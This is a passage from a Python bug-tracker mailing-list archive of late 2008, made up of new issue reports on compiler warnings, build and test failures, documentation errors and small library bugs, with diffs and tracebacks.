<http://bugs.python.org/issue4493>
_______________________________________

From report at bugs.python.org  Tue Dec  2 21:47:38 2008
From: report at bugs.python.org (Alexey Borzenkov)
Date: Tue, 02 Dec 2008 20:47:38 +0000
Subject: [New-bugs-announce] [issue4494] Python 2.6 fails to build with
	Py_NO_ENABLE_SHARED
In-Reply-To: <1228250858.27.0.203382984925.issue4494@psf.upfronthosting.co.za>
Message-ID: <1228250858.27.0.203382984925.issue4494@psf.upfronthosting.co.za>


New submission from Alexey Borzenkov <snaury at gmail.com>:

When building python 2.6 with Py_NO_ENABLE_SHARED compilation fails on
PC/getpathp.c, because it uses PyWin_DLLVersionString and
PyWin_DLLhModule unconditionally, which are implemented in PC/dl_nt.c
only when Py_ENABLE_SHARED is defined. The attached patch fixes the
problem by wrapping dependent parts in if #ifdef Py_ENABLE_SHARED/#endif.

----------
components: Windows
files: python-2.6-static.patch
keywords: patch
messages: 76778
nosy: snaury
severity: normal
status: open
title: Python 2.6 fails to build with Py_NO_ENABLE_SHARED
type: compile error
versions: Python 2.6
Added file: http://bugs.python.org/file12203/python-2.6-static.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4494>
_______________________________________

From report at bugs.python.org  Tue Dec  2 21:53:09 2008
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 02 Dec 2008 20:53:09 +0000
Subject: [New-bugs-announce] [issue4495] Fix signed/unsigned warning
In-Reply-To: <1228251189.49.0.297492395281.issue4495@psf.upfronthosting.co.za>
Message-ID: <1228251189.49.0.297492395281.issue4495@psf.upfronthosting.co.za>


New submission from Raymond Hettinger <rhettinger at users.sourceforge.net>:

C:\py30>svn diff
Index: Python/traceback.c
===================================================================
--- Python/traceback.c  (revision 67476)
+++ Python/traceback.c  (working copy)
@@ -171,7 +171,7 @@
                if (!PyUnicode_Check(v))
                        continue;
                path = _PyUnicode_AsStringAndSize(v, &len);
-               if (len + 1 + taillen >= (Py_ssize_t)namelen - 1)
+               if (len + 1 + (Py_ssize_t)taillen >= (Py_ssize_t)namelen
- 1)
                        continue; /* Too long */
                strcpy(namebuf, path);
                if (strlen(namebuf) != len)

----------
assignee: barry
components: Interpreter Core
messages: 76781
nosy: barry, rhettinger
severity: normal
status: open
title: Fix signed/unsigned warning
type: compile error
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4495>
_______________________________________

From report at bugs.python.org  Tue Dec  2 22:07:39 2008
From: report at bugs.python.org (John J Lee)
Date: Tue, 02 Dec 2008 21:07:39 +0000
Subject: [New-bugs-announce] [issue4496] misleading comment in urllib2
In-Reply-To: <1228252059.35.0.463804871486.issue4496@psf.upfronthosting.co.za>
Message-ID: <1228252059.35.0.463804871486.issue4496@psf.upfronthosting.co.za>


New submission from John J Lee <jjlee at users.sourceforge.net>:

r54137 replaced a comment in urllib2.py with a misleading comment.  The
comment now implies the .insort() in question achieves the goal
specified in the new comment.  That's not true, which was the reason the
original comment was there in the first place.

At least replace the comment with the original comment.  Alternatively,
(correctly) resolve the question in the original comment somehow (for
example by removing the .handlers attribute -- but since .handlers is
misnamed in not having an initial underscore, it may have tempted people
to use it, even though it's undocumented, hence private).

----------
messages: 76783
nosy: jjlee
severity: normal
status: open
title: misleading comment in urllib2

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4496>
_______________________________________

From report at bugs.python.org  Tue Dec  2 22:40:57 2008
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 02 Dec 2008 21:40:57 +0000
Subject: [New-bugs-announce] [issue4497] Compiler warnings in longobject.c
In-Reply-To: <1228254057.05.0.396322901088.issue4497@psf.upfronthosting.co.za>
Message-ID: <1228254057.05.0.396322901088.issue4497@psf.upfronthosting.co.za>


New submission from Raymond Hettinger <rhettinger at users.sourceforge.net>:

longobject.c
..\..\Objects\longobject.c(201) : warning C4244: '=' : conversion from
'long' to 'digit', possible loss of data
..\..\Objects\longobject.c(212) : warning C4244: '=' : conversion from
'long' to 'digit', possible loss of data
..\..\Objects\longobject.c(1063) : warning C4244: 'function' :
conversion from '__int64' to 'int', possible loss of data
..\..\Objects\longobject.c(1106) : warning C4244: 'function' :
conversion from 'unsigned __int64' to 'long', possible loss of data

----------
assignee: marketdickinson
components: Interpreter Core
messages: 76789
nosy: marketdickinson, rhettinger
priority: normal
severity: normal
status: open
title: Compiler warnings in longobject.c
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4497>
_______________________________________

From report at bugs.python.org  Tue Dec  2 22:48:33 2008
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 02 Dec 2008 21:48:33 +0000
Subject: [New-bugs-announce] [issue4498] Compiler warning "signed/unsigned
	comparion in mmapmodule"
In-Reply-To: <1228254513.06.0.0352568369142.issue4498@psf.upfronthosting.co.za>
Message-ID: <1228254513.06.0.0352568369142.issue4498@psf.upfronthosting.co.za>


New submission from Raymond Hettinger <rhettinger at users.sourceforge.net>:

mmapmodule.c: lines 247-248

	/* silently 'adjust' out-of-range requests */
	if (num_bytes > self->size - self->pos) {

----------
assignee: nnorwitz
components: Interpreter Core
messages: 76791
nosy: nnorwitz, rhettinger
priority: normal
severity: normal
status: open
title: Compiler warning "signed/unsigned comparion in mmapmodule"
type: compile error
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4498>
_______________________________________

From report at bugs.python.org  Wed Dec  3 00:00:11 2008
From: report at bugs.python.org (Andrew Paprocki)
Date: Tue, 02 Dec 2008 23:00:11 +0000
Subject: [New-bugs-announce] [issue4499] redefinition of TILDE macro on AIX
	platform
In-Reply-To: <1228258808.76.0.068417078821.issue4499@psf.upfronthosting.co.za>
Message-ID: <1228258808.76.0.068417078821.issue4499@psf.upfronthosting.co.za>


New submission from Andrew Paprocki <andrew at ishiboo.com>:

"Include/token.h", line 42.9: 1506-236 (W) Macro name TILDE has been
redefined.
"Include/token.h", line 42.9: 1506-358 (I) "TILDE" is defined on line
250 of /usr/include/sys/ioctl.h.

----------
components: None
messages: 76800
nosy: apaprocki
severity: normal
status: open
title: redefinition of TILDE macro on AIX platform
type: compile error
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4499>
_______________________________________

From report at bugs.python.org  Wed Dec  3 01:14:40 2008
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 03 Dec 2008 00:14:40 +0000
Subject: [New-bugs-announce] [issue4500] Compiler warnings when compiling
	Python 3.0 with a C89 compiler
In-Reply-To: <1228263280.19.0.817072347743.issue4500@psf.upfronthosting.co.za>
Message-ID: <1228263280.19.0.817072347743.issue4500@psf.upfronthosting.co.za>


New submission from Christian Heimes <lists at cheimes.de>:

Should / must we do anything about the issue? At least Python builds
with a C89 compiler except of ssl and socket module. Those modules
include non C89 compliant header files from the OS (bluetooth and tpic).

$ LC_ALL="C" CC="gcc -std=c89" make
gcc -std=c89 -pthread -c -fno-strict-aliasing -DNDEBUG -g  -O3 -Wall
-Wstrict-prototypes  -I. -IInclude -I./Include   -DPy_BUILD_CORE -o
Objects/object.o Objects/object.c                                      
                             
Objects/object.c: In function 'internal_print':                        
                                               
Objects/object.c:295: warning: ignoring return value of 'fwrite',
declared with attribute warn_unused_result           
Objects/object.c:304: warning: ignoring return value of 'fwrite',
declared with attribute warn_unused_result           
gcc -std=c89 -pthread -c -fno-strict-aliasing -DNDEBUG -g  -O3 -Wall
-Wstrict-prototypes  -I. -IInclude -I./Include   -DPy_BUILD_CORE -o
Python/marshal.o Python/marshal.c                                      
                             
Python/marshal.c: In function 'w_string':                              
                                               
Python/marshal.c:90: warning: ignoring return value of 'fwrite',
declared with attribute warn_unused_result            
gcc -std=c89 -pthread -c -fno-strict-aliasing -DNDEBUG -g  -O3 -Wall
-Wstrict-prototypes  -I. -IInclude -I./Include   -DPy_BUILD_CORE -o
Modules/main.o Modules/main.c                                          
                             
Modules/main.c: In function 'usage':                                   
                                               
Modules/main.c:134: warning: format not a string literal and no format
arguments                                       
Modules/main.c:135: warning: format not a string literal and no format
arguments                                       
Modules/main.c:136: warning: format not a string literal and no format
arguments

----------
assignee: barry
components: Interpreter Core
messages: 76804
nosy: barry, christian.heimes
priority: normal
severity: normal
stage: test needed
status: open
title: Compiler warnings when compiling Python 3.0 with a C89 compiler
type: compile error
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4500>
_______________________________________

From report at bugs.python.org  Wed Dec  3 02:10:55 2008
From: report at bugs.python.org (Giampaolo Rodola')
Date: Wed, 03 Dec 2008 01:10:55 +0000
Subject: [New-bugs-announce] [issue4501] asyncore's urgent data management
	and connection closed events are broken when using poll()
In-Reply-To: <1228266655.05.0.188613442109.issue4501@psf.upfronthosting.co.za>
Message-ID: <1228266655.05.0.188613442109.issue4501@psf.upfronthosting.co.za>


New submission from Giampaolo Rodola' <billiejoex at users.sourceforge.net>:

I discovered that some pyftpdlib [1] tests fail when using poll()
instead of select().
The problem is in asyncore.readwrite() function which erroneously calls
handle_read_event() in case of a POLLPRI event.

The patches modify readwrite() function so that:

- POLLPRI is now treated as synonym for "there is urgent data to read"
so handle_expt_event() is called.
- POLLHUP, POLLERR and POLLINVAL are now treated as synonyms for "the
connection has been closed" (Twisted behaves exactly the same) so
handle_close() is called.

Both pyftpdlib and asyncore tests passed on Linux Debian Etch and
FreeBSD 7.0-RC1.


[1] http://code.google.com/p/pyftpdlib/

----------
components: Library (Lib)
files: asyncore.patch
keywords: patch
messages: 76807
nosy: giampaolo.rodola, josiah.carlson, josiahcarlson
severity: normal
status: open
title: asyncore's urgent data management and connection closed events  are broken when using poll()
type: behavior
versions: Python 2.6, Python 2.7, Python 3.0, Python 3.1
Added file: http://bugs.python.org/file12206/asyncore.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4501>
_______________________________________

From report at bugs.python.org  Wed Dec  3 02:49:37 2008
From: report at bugs.python.org (Conrad.Irwin)
Date: Wed, 03 Dec 2008 01:49:37 +0000
Subject: [New-bugs-announce] [issue4502] Allowing get_pre_input_hook from
	Readline
In-Reply-To: <1228268977.11.0.20813106029.issue4502@psf.upfronthosting.co.za>
Message-ID: <1228268977.11.0.20813106029.issue4502@psf.upfronthosting.co.za>


New submission from Conrad.Irwin <conrad.irwin at gmail.com>:

At the moment there is no way of getting the current pre_input_hook out
of the readline module, so applications cannot set_pre_input_hook
without possibly over-writing users settings (or other parts of the
applications settings) I have attached a patch that implements this
functionality.

It is probably not very useful in many situations, but I am now using it
to maintain my normal custom auto-indenting python prompt in a library
that allows me to edit arbitrary strings using readline. A better way to
implement this might be to

----------
components: Library (Lib)
files: readline.c.diff
keywords: patch
messages: 76808
nosy: Conrad.Irwin
severity: normal
status: open
title: Allowing get_pre_input_hook from Readline
versions: Python 2.5
Added file: http://bugs.python.org/file12207/readline.c.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4502>
_______________________________________

From report at bugs.python.org  Wed Dec  3 11:31:52 2008
From: report at bugs.python.org (Hirokazu Yamamoto)
Date: Wed, 03 Dec 2008 10:31:52 +0000
Subject: [New-bugs-announce] [issue4503] exception traceback sometimes slow
In-Reply-To: <1228300311.73.0.0289401405318.issue4503@psf.upfronthosting.co.za>
Message-ID: <1228300311.73.0.0289401405318.issue4503@psf.upfronthosting.co.za>


New submission from Hirokazu Yamamoto <ocean-city at m2.ccsnet.ne.jp>:

Please try this code.

import zipfile
zipfile.PyZipFile("foobar")

I'm not sure this is problematic or not.

----------
messages: 76823
nosy: ocean-city
severity: normal
status: open
title: exception traceback sometimes slow
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4503>
_______________________________________

From report at bugs.python.org  Wed Dec  3 16:12:31 2008
From: report at bugs.python.org (Kandalintsev Alexandre)
Date: Wed, 03 Dec 2008 15:12:31 +0000
Subject: [New-bugs-announce] [issue4504] Doc/includes out of date
In-Reply-To: <1228317151.0.0.247263497976.issue4504@psf.upfronthosting.co.za>
Message-ID: <1228317151.0.0.247263497976.issue4504@psf.upfronthosting.co.za>


New submission from Kandalintsev Alexandre <bug_hunter at messir.net>:

Hello!

Doc/includes/noddy.c and all other uses Py_InitModule3 which is removed 
from py3k.

noddy2.c doesn't compile("noddy2.c:16: error: ?Noddy? has no member 
named ?ob_type?").

----------
assignee: georg.brandl
components: Documentation
messages: 76828
nosy: exe, georg.brandl
severity: normal
status: open
title: Doc/includes out of date
type: compile error
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4504>
_______________________________________

From report at bugs.python.org  Wed Dec  3 17:13:50 2008
From: report at bugs.python.org (Kandalintsev Alexandre)
Date: Wed, 03 Dec 2008 16:13:50 +0000
Subject: [New-bugs-announce] [issue4505] ob_size not removed from docs
In-Reply-To: <1228320830.04.0.998447040323.issue4505@psf.upfronthosting.co.za>
Message-ID: <1228320830.04.0.998447040323.issue4505@psf.upfronthosting.co.za>


New submission from Kandalintsev Alexandre <bug_hunter at messir.net>:

Hello!

In http://docs.python.org/dev/3.0/extending/newtypes.html we see ob_size 
in object definition.

But if we are look on PyTypeObject in ./Include/object.h we will find 
that there no ob_size defined.


So we must remove this string from noddy_NoddyType definition or segfault 
will occur:
    0,                         /*ob_size*/

----------
assignee: georg.brandl
components: Documentation
messages: 76829
nosy: exe, georg.brandl
severity: normal
status: open
title: ob_size not removed from docs
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4505>
_______________________________________

From report at bugs.python.org  Wed Dec  3 22:00:24 2008
From: report at bugs.python.org (Skip Montanaro)
Date: Wed, 03 Dec 2008 21:00:24 +0000
Subject: [New-bugs-announce] [issue4506] 3.0 make test failures on Solaris 10
In-Reply-To: <18742.62305.106334.384352@montanaro-dyndns-org.local>
Message-ID: <18742.62305.106334.384352@montanaro-dyndns-org.local>


New submission from Skip Montanaro <skip at pobox.com>:

I downloaded the 3.0 tarfile and did a straightforward

    configure
    make
    make test

on Solaris 10 and got several test failures:

    290 tests OK.
    4 tests failed:
        test_cmath test_math test_posix test_subprocess

Here's the output for just the failing tests:

    test test_cmath failed -- Traceback (most recent call last):
      File "/home/tuba/skipm/src/Python-3.0/Lib/test/test_cmath.py", line 336,
      in test_specific_values
        self.fail('OverflowError not raised in test %s' % test_str)
    AssertionError: OverflowError not raised in test exp0052: exp(complex(710.0,
    1.5))

    test test_math failed -- errors occurred; run in verbose mode for details

    test test_posix failed -- Traceback (most recent call last):
      File "/home/tuba/skipm/src/Python-3.0/Lib/test/test_posix.py", line 252,
      in test_getcwd_long_pathnames
        support.rmtree(base_path)
      File "/home/tuba/skipm/src/Python-3.0/Lib/test/support.py", line 98, in
      rmtree    shutil.rmtree(path)
      File "/home/tuba/skipm/src/Python-3.0/Lib/shutil.py", line 225, in rmtree
        onerror(os.rmdir, path, sys.exc_info())
      File "/home/tuba/skipm/src/Python-3.0/Lib/shutil.py", line 223, in rmtree
        os.rmdir(path)
    OSError: [Errno 22] Invalid argument:
    '/home/tuba/skipm/src/Python-3.0/@test.getcwd'

    Could not find platform independent libraries <prefix>
    Could not find platform dependent libraries <exec_prefix>
    Consider setting $PYTHONHOME to <prefix>[:<exec_prefix>]
    Fatal Python error: Py_Initialize: can't initialize sys standard streams
    ImportError: No module named encodings.utf_8
    .
        this bit of output is from a test of stdout in a different process ...
    test test_subprocess failed -- Traceback (most recent call last):
      File "/home/tuba/skipm/src/Python-3.0/Lib/test/test_subprocess.py", line
      115, in test_executable
        self.assertEqual(p.returncode, 47)
    AssertionError: -6 != 47

Here's the test_math output run through regrtest with the -v option:

    ======================================================================
    FAIL: testLog (test.test_math.MathTests)
    ----------------------------------------------------------------------
    Traceback (most recent call last):
      File "/home/tuba/skipm/src/Python-3.0/Lib/test/test_math.py", line 510, in
      testLog
        self.assertRaises(ValueError, math.log, NINF)
    AssertionError: ValueError not raised by log

    ======================================================================
    FAIL: testLog10 (test.test_math.MathTests)
    ----------------------------------------------------------------------
    Traceback (most recent call last):
      File "/home/tuba/skipm/src/Python-3.0/Lib/test/test_math.py", line 532, in
      testLog10
        self.assertRaises(ValueError, math.log10, NINF)
    AssertionError: ValueError not raised by log10

    ----------------------------------------------------------------------
    Ran 39 tests in 0.294s

Skip

----------
messages: 76839
nosy: skip.montanaro
severity: normal
status: open
title: 3.0 make test failures on Solaris 10

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4506>
_______________________________________

From report at bugs.python.org  Wed Dec  3 22:14:06 2008
From: report at bugs.python.org (Skip Montanaro)
Date: Wed, 03 Dec 2008 21:14:06 +0000
Subject: [New-bugs-announce] [issue4507] 3.0 test failure on Mac OS X 10.5.5
In-Reply-To: <18742.63130.521395.761295@montanaro-dyndns-org.local>
Message-ID: <18742.63130.521395.761295@montanaro-dyndns-org.local>


New submission from Skip Montanaro <skip at pobox.com>:

After seeing test failures on Solaris 10 (issue4506) I decided to give Mac
OS X a whirl.  Got one test failure:

    test test_cmd_line failed -- Traceback (most recent call last):
      File "/Users/skip/src/Python-3.0/Lib/test/test_cmd_line.py", line 143, in
      test_run_code
        0)
    AssertionError: 1 != 0

Skip

----------
messages: 76842
nosy: skip.montanaro
severity: normal
status: open
title: 3.0 test failure on Mac OS X 10.5.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4507>
_______________________________________

From report at bugs.python.org  Wed Dec  3 22:58:57 2008
From: report at bugs.python.org (Brian Thorne)
Date: Wed, 03 Dec 2008 21:58:57 +0000
Subject: [New-bugs-announce] [issue4508] distutils compiler not handling
	spaces in path to output/src files
In-Reply-To: <1228341537.43.0.522254260997.issue4508@psf.upfronthosting.co.za>
Message-ID: <1228341537.43.0.522254260997.issue4508@psf.upfronthosting.co.za>


New submission from Brian Thorne <hardbyte at gmail.com>:

I found this bug when using scipy's weave and having some inline C/C++
code. Weave uses distutils to compile the source in its own directory,
python was installed under "program files". Unfortunately it doesn't
seem to handle spaces in the path to either the output or the temporary
source files.
I checked that this was the only problem by copying the weave directory
from site-packages and put it in another directory without spaces in the
path - weave and distutils then worked fine.
I then tried the g++ command seen in the stack trace at the command line
and got the same error - so altered the command by correctly quoting the
 -c "path/to source/a.c" and the -o objects.
This worked so set out changing it in distutils.

The two files I altered were unixcompiler.py (surprising as I am under
windows!) and cygwinccompiler.py 

This was clearly an older stable build so I checked out the python trunk
r67510 on windows (32bit), made a patch, and tested with my weave
dependant code.
(I am not familiar enough with distutils to make a standalone test).

The same method to cause a problem has the same effect in ubuntu - the
build directory seems to default to users home, but as the source path
has a space in it g++ gets confused.

----------
components: Distutils
files: distutils_compiler_quoting.patch
keywords: patch
messages: 76848
nosy: Thorney
severity: normal
status: open
title: distutils compiler not handling spaces in path to output/src files
type: behavior
versions: Python 2.1.1, Python 2.1.2, Python 2.2, Python 2.2.1, Python 2.2.2, Python 2.2.3, Python 2.3, Python 2.4, Python 2.5, Python 2.5.3, Python 2.6, Python 2.7, Python 3.0, Python 3.1
Added file: http://bugs.python.org/file12213/distutils_compiler_quoting.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4508>
_______________________________________

From report at bugs.python.org  Wed Dec  3 23:06:38 2008
From: report at bugs.python.org (gumpy)
Date: Wed, 03 Dec 2008 22:06:38 +0000
Subject: [New-bugs-announce] [issue4509] possible memoryview bug
In-Reply-To: <1228341998.62.0.651194722962.issue4509@psf.upfronthosting.co.za>
Message-ID: <1228341998.62.0.651194722962.issue4509@psf.upfronthosting.co.za>


New submission from gumpy <gumpy2k7 at gmail.com>:

I'm unsure of the expected behavior in this case but it seems odd. The
bytearray in the following example can be resized to a length of 5-10
bytes without throwing an exception.


Python 3.0rc3 (r30rc3:67312, Dec  3 2008, 10:38:14) 

[GCC 4.2.4 (Ubuntu 4.2.4-1ubuntu3)] on linux2

>>> b = bytearray(b'x' * 10)

>>> v = memoryview(b)

>>> b[:] = b'y' * 11

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

BufferError: Existing exports of data: object cannot be re-sized

>>> b[:] = b'y' * 5

>>> b

bytearray(b'yyyyy')

>>> v.tobytes()

b'yyyyy\x00xxxx'

>>> v2 = memoryview(b)

>>> v2.tobytes()

b'yyyyy'

----------
components: Interpreter Core
messages: 76849
nosy: gumpy
severity: normal
status: open
title: possible memoryview bug
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4509>
_______________________________________

From report at bugs.python.org  Thu Dec  4 00:38:38 2008
From: report at bugs.python.org (Brett Cannon)
Date: Wed, 03 Dec 2008 23:38:38 +0000
Subject: [New-bugs-announce] [issue4510] ValueError for list.remove() not
	very helpful
In-Reply-To: <1228347518.63.0.0108612017272.issue4510@psf.upfronthosting.co.za>
Message-ID: <1228347518.63.0.0108612017272.issue4510@psf.upfronthosting.co.za>


New submission from Brett Cannon <brett at python.org>:

If you try to remove something from a list, e.g. ``[].remove(1)``, the
message from ValueError is rather useless: "ValueError: list.remove(x):
x not in list". It should probably list the repr for the argument to
help in debugging.

----------
keywords: easy
messages: 76852
nosy: brett.cannon
priority: low
severity: normal
stage: needs patch
status: open
title: ValueError for list.remove() not very helpful
type: behavior
versions: Python 2.7, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4510>
_______________________________________

From report at bugs.python.org  Thu Dec  4 01:28:34 2008
From: report at bugs.python.org (K. C. Wong)
Date: Thu, 04 Dec 2008 00:28:34 +0000
Subject: [New-bugs-announce] [issue4511] Decorators should have an index
	entry
In-Reply-To: <1228350514.36.0.487340593327.issue4511@psf.upfronthosting.co.za>
Message-ID: <1228350514.36.0.487340593327.issue4511@psf.upfronthosting.co.za>


New submission from K. C. Wong <guru.python at adveca.com>:

While decorators have been introduced since Python 2.4, there continues to 
be no index reference to it in the Python Language Reference. Given this 
being a major language feature, I think it is an oversight.

----------
assignee: georg.brandl
components: Documentation
messages: 76857
nosy: dvusboy, georg.brandl
severity: normal
status: open
title: Decorators should have an index entry
type: feature request
versions: Python 2.4, Python 2.5, Python 2.5.3, Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4511>
_______________________________________

From report at bugs.python.org  Thu Dec  4 01:43:20 2008
From: report at bugs.python.org (Alexander Belopolsky)
Date: Thu, 04 Dec 2008 00:43:20 +0000
Subject: [New-bugs-announce] [issue4512] Add get_filename method to zipimport
In-Reply-To: <1228351400.39.0.42212643126.issue4512@psf.upfronthosting.co.za>
Message-ID: <1228351400.39.0.42212643126.issue4512@psf.upfronthosting.co.za>


New submission from Alexander Belopolsky <belopolsky at users.sourceforge.net>:

>From issue4197:

"""
runpy needs a non-standard PEP 302 extension to set __file__ correctly
in the modules it runs. The pkgutil stuff it uses to find pure Python
modules in the filesystem supports that extension, but zipimport doesn't
(yet).
"""  -- Nick Coghlan

I am working on a patch.

----------
components: Extension Modules
messages: 76859
nosy: belopolsky
severity: normal
status: open
title: Add get_filename method to zipimport
type: feature request
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4512>
_______________________________________

From report at bugs.python.org  Thu Dec  4 02:52:43 2008
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 04 Dec 2008 01:52:43 +0000
Subject: [New-bugs-announce] [issue4513] Finish updating zip docstring
In-Reply-To: <1228355563.66.0.943103489594.issue4513@psf.upfronthosting.co.za>
Message-ID: <1228355563.66.0.943103489594.issue4513@psf.upfronthosting.co.za>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

>>> help(zip) #3.0

class zip(object)
 |  zip(iter1 [,iter2 [...]]) --> zip object
 |  
 |  Return a zip object whose .__next__() method ... StopIteration.  

 | Works like the zip()
 |  function but consumes less memory by returning an iterator instead of
 |  a list.

The last sentence is left over from when 3.0 zip was itertools.izip.
Just delete it.

----------
assignee: georg.brandl
components: Documentation
messages: 76862
nosy: georg.brandl, tjreedy
severity: normal
status: open
title: Finish updating zip docstring
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4513>
_______________________________________

From report at bugs.python.org  Thu Dec  4 04:15:19 2008
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 04 Dec 2008 03:15:19 +0000
Subject: [New-bugs-announce] [issue4514] test_binascii is failing
In-Reply-To: <1228360519.8.0.091239531214.issue4514@psf.upfronthosting.co.za>
Message-ID: <1228360519.8.0.091239531214.issue4514@psf.upfronthosting.co.za>


New submission from Raymond Hettinger <rhettinger at users.sourceforge.net>:

test_binascii.py fails because crc32 accepts a string.

>From my WindowsXP box:

C:\Python30>python \python30\lib\test\test_binascii.py
test_base64invalid (__main__.BinASCIITest) ... ok
test_base64valid (__main__.BinASCIITest) ... ok
test_crc32 (__main__.BinASCIITest) ... ok
test_empty_string (__main__.BinASCIITest) ... ok
test_exceptions (__main__.BinASCIITest) ... ok
test_functions (__main__.BinASCIITest) ... ok
test_hex (__main__.BinASCIITest) ... ok
test_no_binary_strings (__main__.BinASCIITest) ... FAIL
test_qp (__main__.BinASCIITest) ... ok
test_uu (__main__.BinASCIITest) ... ok

======================================================================
FAIL: test_no_binary_strings (__main__.BinASCIITest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "\python30\lib\test\test_binascii.py", line 177, in
test_no_binary_strings
    self.assertRaises(TypeError, f, "test")
AssertionError: TypeError not raised by crc32

----------------------------------------------------------------------
Ran 10 tests in 0.016s

FAILED (failures=1)
Traceback (most recent call last):
  File "\python30\lib\test\test_binascii.py", line 183, in <module>
    test_main()
  File "\python30\lib\test\test_binascii.py", line 180, in test_main
    support.run_unittest(BinASCIITest)
  File "C:\Python30\lib\test\support.py", line 698, in run_unittest
    _run_suite(suite)
  File "C:\Python30\lib\test\support.py", line 681, in _run_suite
    raise TestFailed(err)
test.support.TestFailed: Traceback (most recent call last):
  File "\python30\lib\test\test_binascii.py", line 177, in
test_no_binary_strings
    self.assertRaises(TypeError, f, "test")
AssertionError: TypeError not raised by crc32

----------
assignee: loewis
components: Extension Modules
messages: 76864
nosy: loewis, rhettinger
severity: normal
status: open
title: test_binascii is failing
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4514>
_______________________________________

From report at bugs.python.org  Thu Dec  4 04:46:55 2008
From: report at bugs.python.org (Peter Wang)
Date: Thu, 04 Dec 2008 03:46:55 +0000
Subject: [New-bugs-announce] [issue4515] Formatting error in "What's New in
	Python 3.0"
In-Reply-To: <1228362415.59.0.446802801045.issue4515@psf.upfronthosting.co.za>
Message-ID: <1228362415.59.0.446802801045.issue4515@psf.upfronthosting.co.za>


New submission from Peter Wang <misterwang at gmail.com>:

In the section "Removed Syntax", there is some ReST markup that leaked
through into the output:

"The only acceptable syntax for relative imports is from .``[*module*]
:keyword:`import` *name*; :keyword:`import` forms not starting with ``.
are always interpreted as absolute imports. (PEP 0328)"

----------
assignee: georg.brandl
components: Documentation
messages: 76865
nosy: georg.brandl, pwang
severity: normal
status: open
title: Formatting error in "What's New in Python 3.0"
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4515>
_______________________________________

From report at bugs.python.org  Thu Dec  4 04:53:55 2008
From: report at bugs.python.org (Peter Wang)
Date: Thu, 04 Dec 2008 03:53:55 +0000
Subject: [New-bugs-announce] [issue4516] Another formatting error in "What's
	New in Python 3.0"
In-Reply-To: <1228362835.36.0.473233254769.issue4516@psf.upfronthosting.co.za>
Message-ID: <1228362835.36.0.473233254769.issue4516@psf.upfronthosting.co.za>


New submission from Peter Wang <misterwang at gmail.com>:

In the "Library Changes" section, the next to last bullet point about
string.letters has leaked through some ReST markup into the final
output: ":data:string.letters`"

----------
assignee: georg.brandl
components: Documentation
messages: 76866
nosy: georg.brandl, pwang
severity: normal
status: open
title: Another formatting error in "What's New in Python 3.0"
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4516>
_______________________________________

From report at bugs.python.org  Thu Dec  4 05:34:58 2008
From: report at bugs.python.org (David W. Lambert)
Date: Thu, 04 Dec 2008 04:34:58 +0000
Subject: [New-bugs-announce] [issue4517] improve __getattribute__
	documentation
In-Reply-To: <1228365298.64.0.945304656984.issue4517@psf.upfronthosting.co.za>
Message-ID: <1228365298.64.0.945304656984.issue4517@psf.upfronthosting.co.za>


New submission from David W. Lambert <lambertdw at corning.com>:

http://docs.python.org/dev/3.0/reference/datamodel.html#special-lookup

(After fixing the link to http://docs.python.org/3.0 at http://www.python.org/doc/ (and likewise the http://docs.python.org/whatsnew/3.0.html link.)...

The comment that __getattribute__ is "Called unconditionally to 
implement attribute accesses for instances of the class" gave me hope 
that some combination of "meta" "super" and "sub" might let me access 
__getattribute__ for expression eval('obj + another_object') despite the 
special notes.  I realize now the truth is that

"__getattribute__ is NEVER accessible in pure python code when the code 
uses the syntax of a unary or binary operator such as a+b, ~a, len(a)."
See most of the functions in this manual section.
Also name hash, which doesn't find much explicit use but could well be 
the most used python functionality.  Find a smooth way to replace my 
NEVER since code can obviously access __getattribute__ from the special 
function.

Thank you, and great work!

----------
assignee: georg.brandl
components: Documentation
messages: 76867
nosy: LambertDW, georg.brandl
severity: normal
status: open
title: improve __getattribute__ documentation
type: feature request
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4517>
_______________________________________

From report at bugs.python.org  Thu Dec  4 05:48:13 2008
From: report at bugs.python.org (Bernard Gray)
Date: Thu, 04 Dec 2008 04:48:13 +0000
